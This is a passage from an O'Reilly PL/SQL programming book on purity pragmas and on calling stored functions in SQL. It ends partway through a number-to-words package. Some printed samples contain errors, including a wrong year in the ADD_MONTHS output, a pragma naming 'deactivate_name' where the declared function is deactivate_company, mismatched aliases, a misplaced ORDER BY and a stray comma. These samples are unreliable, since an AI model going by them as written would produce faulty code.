   (function_name, WNDS [, WNPS] [, RNDS] [, RNPS])

where function_name is the name of the function whose purity level you wish to assert, and the four different codes have the following meanings:

WNDS

Writes No Database State. Asserts that the function does not modify any database tables.

WNPS

Writes No Package State. Asserts that the function does not modify any package variables.

RNDS

Reads No Database State. Asserts that the function does not read any database tables.

RNPS

Reads No Package State. Asserts that the function does not read any package variables.

Notice that only the WNDS level is mandatory in the pragma. That is consistent with the restriction that stored functions in SQL may not execute an UPDATE, INSERT, or DELETE statement. All other states are optional. You can list them in any order, but you must include the WNDS argument. No one argument implies another argument. I can write to the database without reading from it. I can read a package variable without writing to a package variable.

Here is an example of two different purity level assertions for functions in the company_financials package:

PACKAGE company_financials
IS
   FUNCTION company_type (type_code_in IN VARCHAR2)
      RETURN VARCHAR2;

   FUNCTION company_name (company_id_in IN company.company_id%TYPE)
      RETURN VARCHAR2;

   PRAGMA RESTRICT_REFERENCES (company_type, WNDS, RNDS, WNPS, RNPS);
   PRAGMA RESTRICT_REFERENCES (company_name, WNDS, WNPS, RNPS);
END company_financials;

In this package, the company_name function reads from the database to obtain the name for the specified company. Notice that I placed both pragmas together at the bottom of the package specification -- the pragma does not need to immediately follow the function specification. I also went to the trouble of specifying the WNPS and RNPS arguments for both of the functions. Oracle Corporation recommends that you assert the highest possible purity levels so that the compiler will never reject the function unnecessarily.

NOTE: If a function you want to call in SQL calls a procedure in a package, you must also provide a RESTRICT_REFERENCES pragma for that procedure. You can't call the procedure directly in SQL, but if it is going to be executed indirectly from within SQL, it still must follow the rules.

17.5.1.1 Pragma violation errors

If your function violates its pragma, you will receive the PLS-00452 error. Suppose, for example, that the body of the company_financials package looks like this:

CREATE OR REPLACE PACKAGE BODY company_financials
IS
   FUNCTION company_type (type_code_in IN VARCHAR2)
      RETURN VARCHAR2
   IS
      v_sal NUMBER;
   BEGIN
      SELECT sal INTO v_sal FROM emp WHERE empno = 1;
      RETURN 'bigone';
   END;

   FUNCTION company_name (company_id_in IN company.company_id%TYPE)
      RETURN VARCHAR2
   IS
   BEGIN
      UPDATE emp SET sal = 0;
      RETURN 'bigone';
   END;
END company_financials;
/

When I attempt to compile this package body I will get the following error:

3/4    PLS-00452: Subprogram 'COMPANY_TYPE' violates its associated pragma

because the company_type function reads from the database and I have asserted the RNDS purity level. If I remove that silly SELECT statement, I will then receive this error:

11/4   PLS-00452: Subprogram 'COMPANY_NAME' violates its associated pragma

because the company_name function updates the database and I have asserted the WNDS level. You will sometimes look at your function and say: "Hey, I absolutely do not violate my purity level. There is no UPDATE, DELETE, or UPDATE around." Maybe not. But there is a good chance that you are calling a built-in package or in some other way breaking the rules.

17.5.2 Asserting Purity Level with Package Initialization Section

If your package contains an initialization section (executable statements after a BEGIN statement in the package body), you must also assert the purity level of that section. The initialization section is executed automatically the first time any package object is referenced. So if a packaged function is used in a SQL statement, it will trigger execution of that code. If the initialization section modifies package variables or database information, the compiler needs to know about that through the pragma.

You can assert the purity level of the initialization section either explicitly or implicitly. To make an explicit assertion, use the following variation of the pragma RESTRICT_REFERENCES:

PRAGMA RESTRICT_REFERENCES
   (package_name, WNDS, [, WNPS] [, RNDS] [, RNPS])

Instead of specifying the name of the function, you include the name of the package itself, followed by all the applicable state arguments. In the following argument I assert only WNDS and WNPS because the initialization section reads data from the configuration table and also reads the value of a global variable from another package (session_pkg.user_id).

PACKAGE configure
IS
   PRAGMA RESTRICT_REFERENCES (configure, WNDS, WNPS);
   user_name VARCHAR2(100);
END configure;

PACKAGE BODY configure
IS
BEGIN
   SELECT lname || ', ' || fname INTO user_name
     FROM user_table
    WHERE user_id = session_pkg.user_id;
END configure;

Why can I assert the WNPS even though I do write to the user_name package variable? The answer is that it's a variable from this same package, so the action is not considered a side effect.

You can also implicitly assert the purity level of the package's initialization section by allowing the compiler to infer that level from the purity level(s) of all the pragmas for individual functions in the package. In the following version of the company package, the two pragmas for the functions allow the Oracle Server to infer a combined purity level of RNDS and WNPS for the initialization section. This means that the initialization section cannot read from the database and cannot write to a package variable.

PACKAGE company
IS
   FUNCTION get_company (company_id_in IN VARCHAR2)
      RETURN company%ROWTYPE;

   FUNCTION deactivate_company (company_id_in IN company.company_id%TYPE)
      RETURN VARCHAR2;

   PRAGMA RESTRICT_REFERENCES (get_company, RNDS, WNPS);
   PRAGMA RESTRICT_REFERENCES (deactivate_name, WNPS);
END company;

Generally, you are probably better off providing an explicit purity level assertion for the initialization section. This makes it easier for those responsible for maintaining the package to understand both your intentions and your understanding of the package.

Previous: 17.4 Restrictions on PL/SQL Functions in SQL | Oracle PL/SQL Programming, 2nd Edition | Next: 17.6 Column/Function Name Precedence
17.4 Restrictions on PL/SQL Functions in SQL | Book Index | 17.6 Column/Function Name Precedence
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.6 Column/Function Name Precedence

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

17.6 Column/Function Name Precedence

If your function has the same name as a table column in your SELECT statement and it has no parameters, then the column takes precedence over the function.

The employee table has a column named "salary." Suppose you create a function named salary as well:

CREATE TABLE employee (employee_id NUMBER, ... , salary NUMBER, ...);

FUNCTION salary RETURN NUMBER;

Then a SELECT statement referencing salary always refers to the column and not the function:

SELECT salary INTO calculated_salary FROM employee;

If you want to override the column precedence, you must qualify the name of the function with the name of the schema that owns the function, as follows:

SELECT scott.salary INTO calculated_salary FROM employee;

This now executes the function instead of retrieving the column value.

Previous: 17.5 Calling Packaged Functions in SQL | Oracle PL/SQL Programming, 2nd Edition | Next: 17.7 Realities: Calling PL/SQL Functions in SQL
17.5 Calling Packaged Functions in SQL | Book Index | 17.7 Realities: Calling PL/SQL Functions in SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.7 Realities: Calling PL/SQL Functions in SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

17.7 Realities: Calling PL/SQL Functions in SQL

The ability to call PL/SQL functions in SQL has been around since Release 2.1, but in many ways (at least until Oracle8) it can still be considered "bleeding edge" technology. Why?

  • You must manually apply RESTRICT_REFERENCES pragmas to all of your code -- and you have to figure out where all those pragmas need to go. This process is described in a subsection below.

  • Functions execute outside of the read consistency model of the Oracle database (!). This issue is also explored below in a subsection below.

  • The overhead of calling a function from SQL remains high. The exact price you pay to call a function from within SQL (compared to, say, executing in-line SQL code) can be hard to pin down. It varies from computer to computer and even by instance or by the function being called; I have heard reports that range from an extra half-second to an astonishing additional 50 seconds (in that case, I suggested that they do some more analysis and debugging). Whatever the specific amount of time, the delay can be noticeable and you need to factor it into your design and test plans.

  • Tuning mechanisms such as EXPLAIN PLAN do not take into account the SQL that may be called inside functions called in your SQL statement. PL/SQL functions are ignored by the EXPLAIN PLAN facility. This makes it very difficult to come up with a comprehensive understanding of performance bottlenecks and tuning needs.

  • So much Oracle technology, especially that found in built-in packages, is declared "off limits" to functions in SQL. Just consider DBMS_OUTPUT. You can't use it in functions called in SQL. But ideally you will want to use those same functions in SQL and PL/SQL. Another issue may be that your standard debugging technique is to insert calls to a trace program at the beginning of each of your functions and procedures. Chances are that the trace program relies on DBMS_OUTPUT (or UTL_FILE or DBMS_PIPE or take your pick, they're all -- at least until Oracle8 -- off limits). Sorry! You will not be able to use that function in SQL. So you have to pull out some of the code from the function. As a result, you can end up with two versions of your code: one for PL/SQL and one for SQL. That is one nasty scenario for software developers.

Let's examine two of these issues in more detail.

17.7.1 Manual Application of Pragmas

You must manually apply RESTRICT_REFERENCES pragmas to all of your code -- and you have to figure out where all those pragmas need to go. This process is often similar to a Sherlock Holmes plot. You compile a package and get a pragma violation error. This can happen because your program breaks a rule (like trying to change data) or because it calls other programs which break a rule. You notice in this case that your function calls five or six other functions or procedures, so you must apply pragmas to each of these. By doing so, you assert purity levels where none had been asserted before, raising more errors and in some cases significant architectural issues.

For example, suppose that you suddenly have to apply a pragma to a procedure in package X and that package has an initialization section; you must then also pragma-tize the initialization section. A common practice in this section is to set up a PL/SQL table for in-memory manipulation of data. If you use any PL/SQL table methods to do this initialization, your pragma will fail.

This can be a very frustrating exercise, at times leading to abandoning the effort to enable your function for execution in SQL. In my experience, you will want to identify in advance (as much as possible) those areas of your application which you will want to call in SQL. You will then strive to keep this code very "clean" and focused, with limited entanglements with other packages, and with an absolutely minimal use of built-in packaged functionality. Neither an easy nor a particularly desirable task.

17.7.2 Read Consistency Model Complications

Yes, it is hard to believe, but quite true: unless you take special precautions, it is quite possible that your SQL query will violate the read consistency model of the Oracle RDBMS, which has been sacrosanct territory for years at Oracle. To understand this issue, consider the following query and the function it calls:

SELECT name, total_sales (account_id)
  FROM account
 WHERE status = 'ACTIVE';

FUNCTION total_sales (id_in IN account.account_id%TYPE)
   RETURN NUMBER
IS
   CURSOR tot_cur
   IS
      SELECT SUM (sales) total
        FROM orders
       WHERE account_id = id_in
         AND year = TO_NUMBER (TO_CHAR (SYSDATE, 'YYYY'));
   tot_rec tot_cur%ROWTYPE;
BEGIN
   OPEN tot_cur;
   FETCH tot_cur INTO tot_rec;
   RETURN tot_rec.total;
END;

The account table has five million active rows in it (a very successful enterprise!). The orders table has 20 million rows. I start the query at 11 a.m.; it takes about an hour to complete. At 10:45 a.m., somebody with the proper authority comes along, deletes all rows from the orders table and performs a commit. According to the read consistency model of Oracle, the session running the query should see all those deleted rows until the query completes. But the next time the total_sales function executes from within the query, it finds no order rows and returns NULL -- and will do so until the query completes.

So if you are executing queries inside functions which are called inside SQL, you need to be acutely aware of read-consistency issues. If these functions are called in long-running queries or transactions, you will probably need to issue the following command to enforce read-consistency between SQL statements in the current transaction:

SET TRANSACTION READ ONLY

You will find more information about this command in Chapter 6, Database Interaction and Cursors.

Working with functions in SQL is more difficult and more complicated than you might first imagine. Big surprise. You can say that about almost every aspect of Oracle technology, especially the newer additions to the stable. I hope that over time Oracle will make our lives easier (there are definitely some improvements in Oracle 8.0). Ultimately we need a utility that allows a developer to "point" to a function and request, "make that function usable in SQL." And that utility will then apply all the pragmas or at least generate a report of the steps necessary to get the job done.

We can dream, can't we?

Previous: 17.6 Column/Function Name Precedence | Oracle PL/SQL Programming, 2nd Edition | Next: 17.8 Examples of Embedded PL/SQL
17.6 Column/Function Name Precedence | Book Index | 17.8 Examples of Embedded PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.8 Examples of Embedded PL/SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

17.8 Examples of Embedded PL/SQL

The more you think about stored functions in SQL, the more you come up with ways to put them to use in every single one of your applications. To prod your creativity and get you started, here are a number of examples of the ways stored functions in SQL can change the way you build Oracle-based systems.

17.8.1 Encapsulating Calculations

In just about any and every application, you will need to perform the same calculations over and over again. Whether it is a computation of net present value, mortgage balance, the distance between two points on a Cartesian plane, or a statistical variance, with native SQL you have to recode those computations in each of the SQL statements in which they are needed.

You can pay a big price for this kind of redundancy. The code that implements your business rules is repeated throughout the application. Even if the business rule doesn't change, the way you should implement the rule is almost sure to require modification. Worse than that, the business rule itself might evolve, which could necessitate fairly significant alterations.

To solve this problem, you can hide or encapsulate all of your formulas and calculations into stored functions. These functions can then be called from within both SQL statements and also PL/SQL programs.

One fine example of the value of encapsulated calculations arose when an insurance company needed to perform date-based analyses on its accounts. The last day of the month is, of course, a very important date for most financial institutions. To manipulate dates, the company's IS department planned to make use of the built-in LAST_DAY function to obtain the last day of the month, and ADD_MONTHS to move from one month to the next. It soon uncovered a very interesting nuance to the way ADD_MONTHS worked: if you pass a day to ADD_MONTHS which is the last day in the month, SQL always returns the last day in the resulting month, regardless of the number of actual days in each of the months.

In other words:

ADD_MONTHS ('28-FEB-1994', 2) ==> 30-APR-1993

This approach might make sense for some applications and queries. The requirement at the insurance company, however, was that when you move a month, you must always land on the same day of the month (or the last day, if the original month's day was past the last day of the target month). Without stored functions, the SQL required to perform this calculation is as follows:

SELECT
   DECODE (payment_date,
           LAST_DAY (payment_date),
               LEAST (ADD_MONTHS (payment_date, 1),
                      TO_DATE (TO_CHAR (ADD_MONTHS (payment_date, 1),
                                        'MMYYYY') ||
                               TO_CHAR (payment, 'DD'),
                              'MMYYYYDD')),
           ADD_MONTHS (payment_date, 1))
  FROM premium_payments;

which may be read as, "If the last payment date falls on the last day of the month, then return as the next payment date the earliest of either the result of adding one month to payment date (using ADD_MONTHS) or the same day in the new month as the day in the month of the last payment date. If the last payment was not made on the last day of the month, simply use ADD_MONTHS to get the next payment date."

Not only is that difficult to understand, but it required three different calls to the ADD_MONTHS built-in. And remember that this complex SQL would have to be repeated in every SELECT list where ADD_MONTHS was used to increment or decrement dates. You can well imagine how happy the programmers in this company became when they installed Oracle Server Version 7.1 and were able to use the following function inside their SQL statements (for a full explanation of the function's logic, see Chapter 12, Date Functions):

FUNCTION new_add_months (date_in IN DATE, months_shift IN NUMBER)
   RETURN DATE
IS
   return_value DATE;
BEGIN
   return_value := ADD_MONTHS (date_in, months_shift);
   IF date_in = LAST_DAY (date_in)
   THEN
      return_value :=
         LEAST (return_value,
                TO_DATE (TO_CHAR (return_value, 'MMYYYY') ||
                         TO_CHAR (date_in, 'DD') ,
                         'MMYYYYDD'));
   END IF;
   RETURN return_value;
END new_add_months;

With the stored function, the SELECT statement to obtain the next payment date is simply:

SELECT new_add_months (payment_date,1)
  FROM premium_payments;

The more you look through your SQL statements, the more opportunities you find for stored functions that can hide calculations and therefore improve the long-term stability of your code. While it is unlikely that you will have the time and resources to go back and rewrite wholesale the SQL underpinnings of your application, you can at least build the functions and roll them into any new product development.

17.8.2 Combining Scalar and Aggregate Values

This simple question is hard to answer in SQL: "Show me the name and salary of the employee who has the highest salary in each department, as well as the total salary for that person's department."

Broken into two separate queries, this question poses no problem. Here is the first part:

SELECT department_id, last_name, salary
  FROM employee E1
 WHERE salary = (SELECT MAX (salary)
                   FROM employee E2
                  WHERE E.department_id = E2.department_id)
GROUP BY department_id;

and here is the second part:

SELECT department_id, SUM (salary)
  FROM employee
ORDER BY department_id;

However, I cannot very easily combine them since that would require listing and obtaining both scalar (single row) and aggregate (across multiple rows) values from the same table. The following SELECT list contains the information I want to display. How could I construct my FROM, WHERE, and GROUP BY clauses to show both an individual's salary and the departmental total?

SELECT department_id, last_name, salary, SUM (salary)
  FROM ...?
 WHERE ...?
GROUP BY ...?

The most straightforward solution prior to Release 2.1 of PL/SQL was to create a view that "presummarized" the salary for each department:

CREATE VIEW dept_salary
AS
   SELECT department_id, SUM (salary) total_salary
     FROM employee
    GROUP BY department_id;

Now, with this view, I can get at my answer with a single SQL statement as follows:

SELECT E.department_id, last_name, salary, total_salary
  FROM employee E, dept_salary DS
 WHERE E.department_id = DS.department_id
   AND salary = (SELECT MAX (salary)
                   FROM employee E2
                  WHERE E.department_id = E2.department_id);

This doesn't seem like such a bad solution, except that you have to create a customized view each time you want to perform this kind of calculation. In addition, this SQL is far less than straightforward for many programmers.

A better solution is to make use of a stored function in SQL. Instead of creating a view, create a function that performs exactly the same calculation, but this time only for the specified department:

FUNCTION total_salary (dept_id_in IN department.department_id%TYPE)
   RETURN NUMBER
IS
   CURSOR grp_cur
   IS
      SELECT SUM (salary)
        FROM employee
       WHERE department_id = dept_id_in;
   return_value NUMBER;
BEGIN
   OPEN grp_cur;
   FETCH grp_cur INTO return_value;
   CLOSE grp_cur;
   RETURN return_value;
END;

In this version I outer-join the department and employee tables. This way if a department does not exist (bad department ID number), I return NULL. If a department has no employees, I return 0; otherwise, I return the total salary in that department.

Now my query does not need to join to a view containing a GROUP BY. Instead, it calls the total_salary function, passing the employee's department ID number as a parameter:

SELECT E.department_id, last_name, salary, total_salary (E.department_id)
  FROM employee E
 WHERE salary = (SELECT MAX (salary)
                   FROM employee E2
                  WHERE E.department_id = E2.department_id);

The resulting SQL statement is not only easier to read; it also executes faster, especially for larger tables. I could simplify the SQL statement further by creating a function that returns the maximum salary in a particular department. The above SELECT would then become simply:

SELECT department_id, last_name, salary, total_salary (department_id)
  FROM employee E
 WHERE salary = max_sal_in_dept (department_id);

17.8.3 Replacing Correlated Subqueries

You can also use stored functions in a SQL statement to replace correlated subqueries. A correlated subquery is a SELECT statement inside the WHERE clause of a SQL statement (SELECT, INSERT, or DELETE) which is correlated (or makes reference) to one or more columns in the enclosing SQL statement. In the preceding section I used a correlated subquery to determine the employee who receives the highest salary in each department:

SELECT E.department_id, last_name, salary, total_salary (E.department_id)
  FROM employee E
 WHERE salary = (SELECT MAX (salary)
                   FROM employee E2
                  WHERE E.department_id = E2.department_id);

The last three lines in the query contain a SELECT statement matching the department ID number for the "inner" employee (E2) to the department ID number for the "outer" employee table (E1). The inner query is executed once for every row retrieved in the outer query.

The correlated subquery is a very powerful feature in SQL, since it offers the equivalent of a procedural language's nested loop capability, as in:

LOOP
   LOOP
   END LOOP;
END LOOP;

Two drawbacks with a correlated subquery are:

  • The logic can become fairly complicated

  • The resulting SQL statement can be difficult to understand and follow

You can use a stored function in place of a correlated subquery to address these drawbacks; in the above example, I would want a function that calculates the highest salary in a given department:

FUNCTION max_salary (dept_id_in IN department.department_id%TYPE)
   RETURN NUMBER
IS
   CURSOR grp_cur
   IS
      SELECT MAX (salary)
        FROM employee
       WHERE department_id = dept_id_in;
   return_value NUMBER;
BEGIN
   OPEN grp_cur;
   FETCH grp_cur INTO return_value;
   CLOSE grp_cur;
   RETURN return_value;
END;

I can now use both total_salary and max_salary in my SELECT statement that says, "Show me the name and salary of the employee who has the highest salary in each department, as well as the total salary for that person's department."

SELECT E.department_id, last_name, salary, total_salary (department_id)
  FROM employee
 WHERE salary = max_salary (department_id);

Compare that simple, self-documenting piece of SQL to the version requiring a view and correlated subquery:

CREATE VIEW dept_salary
AS
   SELECT department_id, SUM (salary) total_salary
     FROM employee
    GROUP BY department_id;

SELECT E.department_id, last_name, salary, total_salary
  FROM employee E, dept_salary DS
 WHERE E.department_id = DS.department_id
   AND salary = (SELECT MAX (salary)
                   FROM employee E2
                  WHERE E.department_id = E2.department_id);

and I am sure you will agree that stored functions in SQL can make your life much easier.

You may have noticed that the total_salary function from the previous section and the max_salary from this section look very similar. The only difference between the two is that the cursor in total_salary uses the SUM group function and the cursor in max_salary uses the MAX group function. If you are as fanatical about consolidating your code into the smallest possible number of distinct "moving parts," you might consider a single function that returns a different group-level statistic for a department based on a second parameter, as follows:

FUNCTION salary_stat
   (dept_id_in IN department.department_id%TYPE,
    stat_type_in IN VARCHAR2)
   RETURN NUMBER
IS
   v_stat_type VARCHAR2(20) := UPPER (stat_type_in);

   CURSOR grp_cur
   IS
      SELECT SUM (salary) sumsal,
             MAX (salary) maxsal,
             MIN (salary) minsal,
             AVG (salary) avgsal,
             COUNT (DISTINCT salary) countsal,
        FROM employee
       WHERE department_id = dept_id_in;

   grp_rec grp_cur%ROWTYPE;
   retval NUMBER;
BEGIN
   OPEN grp_cur;
   FETCH grp_cur INTO grp_rec;
   CLOSE grp_cur;

   IF v_stat_type = 'SUM'
   THEN
      retval := grp_rec.sumsal;

   ELSIF v_stat_type = 'MAX'
   THEN
      retval := grp_rec.maxsal;

   ELSIF v_stat_type = 'MIN'
   THEN
      retval := grp_rec.minsal;

   ELSIF v_stat_type = 'COUNT'
   THEN
      retval := grp_rec.countsal;

   ELSIF v_stat_type = 'AVG'
   THEN
      retval := grp_rec.avgsal;
   END IF;

   RETURN retval;
END;

The overhead of adding these additional expressions in the SELECT list -- and the processing of the IF statement -- is negligible. With this new, generic utility, my request for salary analysis shown above now becomes:

SELECT E.department_id, last_name, salary, salary_stat (department_id, 'sum')
  FROM employee
 WHERE salary = salary_stat (department_id, 'max');

If I ever have to change the SQL required to obtain departmental-level statistics for salary, I have to upgrade only this single function.

17.8.4 Replacing DECODEs with IF Statements

The DECODE function offers IF-like capabilities in the nonprocedural SQL environment provided by the Oracle Server. You can use the DECODE syntax to create matrix reports with a fixed number of columns and also perform complex IF-THEN-ELSE logic within a query. The downside to DECODE is that it can be difficult to write and very difficult to maintain. Consider the following example of DECODE to determine whether a date is within the prescribed range and, if it is, add to the count of rows that fulfill this requirement:

SELECT FC.year_number,
       SUM (DECODE (GREATEST (ship_date, FC.q1_sdate),
                    ship_date,
                    DECODE (LEAST (ship_date, FC.q1_edate),
                            ship_date, 1,
                            0),
                    0)) Q1_results,
       SUM (DECODE (GREATEST (ship_date, FC.q2_sdate),
                    ship_date,
                    DECODE (LEAST (ship_date, FC.q2_edate),
                            ship_date, 1,
                            0),
                    0)) Q2_results,
       SUM (DECODE (GREATEST (ship_date, FC.q3_sdate),
                    ship_date,
                    DECODE (LEAST (ship_date, FC.q3_edate),
                            ship_date, 1,
                            0),
                    0)) Q3_results,
       SUM (DECODE (GREATEST (ship_date, FC.q4_sdate),
                    ship_date,
                    DECODE (LEAST (ship_date, FC.q4_edate),
                            ship_date, 1,
                            0),
                    0)) Q4_results
  FROM orders O,
       fiscal_calendar FC
 GROUP BY year_number;

The result set for this query might look like this:

YEAR NUMBER     Q1 RESULTS    Q2 RESULTS    Q3 RESULTS    Q4 RESULTS
------------    ----------    ----------    ----------    ----------
1993            12000         14005         22000         40000
1994            10000         15000         21000         55004

While it is very handy to use DECODE to produce such a report, the SQL required to accomplish the task is more than a little frightening. Here is how you might try to interpret the Q1 RESULTS nested DECODE: "If the ship date is greater than or equal to the first quarter start date and the shipdate is less than or equal to the first quarter end date, then add one to the sum of the total number of orders shipped in that quarter. Otherwise, add zero."

Unfortunately, unless you are experienced in interpreting DECODE statements, you will find it difficult to glean this understanding from that convoluted SQL statement. The repetition in that single SELECT also cries out for modularization, which we can supply with the following stored function (incr_in_range means "increment if in the range"):

FUNCTION incr_in_range
   (ship_date_in IN DATE, sdate_in IN DATE, edate_in IN DATE)
   RETURN INTEGER
IS
BEGIN
   IF ship_date_in BETWEEN sdate_in AND edate_in
   THEN
      RETURN 1;
   ELSE
      RETURN 0;
   END IF;
END;

Yep, that's all there is to it! With the incr_in_range function, that long and winding SELECT statement simply becomes:

SELECT FC.year_number,
       SUM (incr_in_range (ship_date, q1_sdate, q1_edate)) Q1_results,
       SUM (incr_in_range (ship_date, q2_sdate, q2_edate)) Q2_results,
       SUM (incr_in_range (ship_date, q3_sdate, q3_edate)) Q3_results,
       SUM (incr_in_range (ship_date, q4_sdate, q4_edate)) Q4_results
  FROM orders O,
       fiscal_calendar FC
 GROUP BY year_number;

This stored function gets rid of the code redundancy and makes the SELECT statement much more readable. In addition, this function could be used in other SQL statements to perform the same logic.

17.8.5 GROUP BY Partial Column Values

The GROUP BY clause in a SELECT statement allows you to collect data across multiple records and group them by one or more columns. The following SELECT statement, for example, calculates the total amount of salary paid to all workers with the same job description (or "title"):

  SELECT job_title_desc, SUM (salary)
    FROM employee E, job_title JT
   WHERE E.job_title_id = JT.job_title_id
GROUP BY job_title_desc;

A portion of the result set from this query might look like this:

ACCOUNT MANAGER              32000
OFFICE CLERK                 4000
PROJECT MANAGER              10006
SHIPPING CLERK               4200

What if you wanted to see a total amount of salary for each type or category of job title? How much do all the various kinds of clerks in the company earn? What about all the different types of vice presidents and managers?

With native SQL, this is very difficult to write. In effect, you want GROUP BY to assess all the different categories, but those categories do not exist in a separate table. They are denormalized into the job title descriptions, and the GROUP BY clause can be applied only to whole column values. Fortunately, stored functions in SQL provide a straightforward solution to the problem. The following function, job_category, takes as its single parameter the primary key to the title table and returns the job category. It does so by performing a LIKE operation on the text for that job title -- something you cannot do directly in the GROUP BY clause.

FUNCTION job_category (title_id_in IN job_title.job_title_id%TYPE)
   RETURN VARCHAR2
IS
   CURSOR title_cur IS
      SELECT job_title_desc FROM job_title
       WHERE job_title_id = title_id_in;
   title_rec title_cur%ROWTYPE;
BEGIN
   OPEN title_cur; FETCH title_cur INTO title_rec;
   IF title_cur%NOTFOUND
   THEN
      CLOSE title_cur;
      RETURN NULL;
   ELSE
      CLOSE title_cur;
      IF title_rec.job_title_desc LIKE '%CLERK%'
      THEN
         RETURN 'CLERK';
      ELSIF title_rec.job_title_desc LIKE '%VICE PRESIDENT%'
      THEN
         RETURN 'VICE PRESIDENT';
      ELSIF title_rec.job_title_desc LIKE '%MANAGER%'
      THEN
         RETURN 'MANAGER';
      END IF;
   END IF;
END;

I can now rewrite my query using the job_category function and cut through all the confusion of my denormalized job title descriptions:

SELECT job_category (job_title_id) as title, SUM (salary)
  FROM employee
GROUP BY title;

I use the function in both the SELECT list and the GROUP BY. This query now produces a result set that looks like the following:

CLERK                8200
MANAGER              42006
VICE PRESIDENT       75000

17.8.6 Sequential Processing Against a Column's Value

It is very easy for me to find out if a particular word or set of characters appears in a string with the INSTR function. It is also straightforward in SQL to determine which rows have a column that contains a certain word. It is much more difficult within native SQL to determine the number of times a particular word or set of characters appears in a string in a single row. The built-in set-at-a-time processing of SQL does not provide iterative or looping behavior within a row -- just across rows.

If I want to perform iterative analysis or computation on a particular value in a single row, I need to apply a PL/SQL function. Let's see how this would come into play.

Here is the SQL that shows me all lines of text containing the word "the":

SELECT text
  FROM notes
 WHERE INSTR (text, 'the') > 0;

I can even use INSTR to find all the lines of text containing the word "the" at least three times:

SELECT text
  FROM notes
 WHERE INSTR (text, 'the', 1, 3) > 0;

I could, if pressed, also display all lines of text that containing the word "the" precisely three times:

SELECT text
  FROM notes
 WHERE INSTR (text, 'the', 1, 3) != 0
   AND INSTR (text, 'the', 1, 4) = 0;

In other words, if INSTR returns a nonzero number or location for a third occurrence of "the", but also returns a zero for a fourth occurrence of "the", that means that the string occurs precisely three times in the string.

If, however, I need to see a report that displays the number of occurrences of "the" in each of my notes, or if I want to GROUP BY the number of occurrences of "the", SQL comes up short. The best I can do is pseudocode to express my wish:

SELECT number-of-thes-in-text, text
  FROM notes
 GROUP BY number-of-thes-in-text;

As a nonprocedural language that deals with a set (multiple rows) of data at a time, SQL doesn't give me any way to programmatically analyze the contents of a particular column. PL/SQL, on the other hand, is perfectly equipped to solve these kinds of problems. The ps.parse package included on the disk demonstrates how to build a function that will return the number of atomics (words and/or delimiters) in a string. I will not repeat the implementation here, but will show how the function would be used in SQL:

  • Show the number of occurrences of "the" in each line of text:

    SELECT text,
       ps_parse.number_of_atomics (text, 'the')
  FROM notes;

  • Show the distribution of the use of the word "urgent" across the days of the week for all text in which the word urgent appears at least once:

    SELECT TO_CHAR (note_date, 'DAY'),
       ps_parse.number_of_atomics (text, 'urgent') urgent_count
  FROM notes
 WHERE urgent_count > 0;

17.8.7 Recursive Processing in a SQL Statement

The SQL language does not support recursion, yet this powerful programming method is at times crucial to solving a problem. PL/SQL does allow for recursive execution of function calls, however, so you can put it to use inside a SQL statement where recursion is needed.

Suppose your application needs to print checks. A check contains both the numeric version of the amount of the check (say, $99.70) and the written version of the amount of the check (ninety-nine dollars and seventy cents). You will not be able to use SQL to convert the numeric check amount (stored in the database) into the written version. You can, however, put PL/SQL to use, along with some of its more interesting features like recursion, global data, and PL/SQL tables, to provide a very elegant solution.

The package below offers a checks package to provide this conversion capability.[2]

[2] This implementation of "number-to-words" was first presented by Mike Burnside of Oracle Australia at the International Oracle User's Week in San Francisco in September 1994. I have made some minor modifications.

/* Filename on companion disk: checks.spp */
PACKAGE checks
IS
   /* Convert number to words */
   FUNCTION num2words (number_in IN NUMBER) RETURN VARCHAR2;

   /* Since a package, must assert my purity level. */
   PRAGMA RESTRICT_REFERENCES (num2words, WNDS);

END checks;

PACKAGE BODY checks
IS
   /* Table structure to hold names of numeric components. */
   TYPE numwords_tabtype IS TABLE OF VARCHAR2(20)
      INDEX BY BINARY_INTEGER;
   words_table numwords_tabtype;

   /* Used in initialization section. */
   v_date DATE;

   FUNCTION num2words (number_in IN NUMBER) RETURN VARCHAR2
   IS
      my_number NUMBER;
   BEGIN
      /* Sorry, I don't do cents in this program! */
      my_number := FLOOR (number_in);

      /* $1000+ */
      IF my_number >= 1000
      THEN
         /* Break up into two recursive calls to num2words. */
         RETURN num2words (my_number/1000) ||
                ' Thousand ' ||
                num2words (MOD (my_number, 1000));
      END IF;

      /* $100-999 */
      IF my_number >= 100
      THEN
         /* Break up into two recursive calls to num2words. */
         RETURN num2words (my_number/100) ||
                ' Hundred ' ||
                num2words (MOD (my_number, 100));
      END IF;

      /* $20-$99 */
      IF my_number >= 20
      THEN
         /* Break up into tens word and then final dollar amount. */
         RETURN words_table (FLOOR (my_number/10)) ||
                ' ' ||
                num2words (MOD (my_number, 10));
      END IF;

      /* Down to 19 or less. Get word from "upper register" of table. */
      RETURN words_table (my_number + 10);

   END num2words;

BEGIN
   /* Initialization section of package. Run just once per session. */

   /* Manually construct the tens names. */
   words_table (1) := 'Ten';
   words_table (2) := 'Twenty';
   words_table (3) := 'Thirty';
   words_table (4) := 'Forty';
   words_table (5) := 'Fifty';
   words_table (6) := 'Sixty';
   words_table (7) := 'Seventy';
   words_table (8) := 'Eighty';
   words_table (9) := 'Ninety';

   /* Return NULL for zero. */
   words_table (10) := NULL;

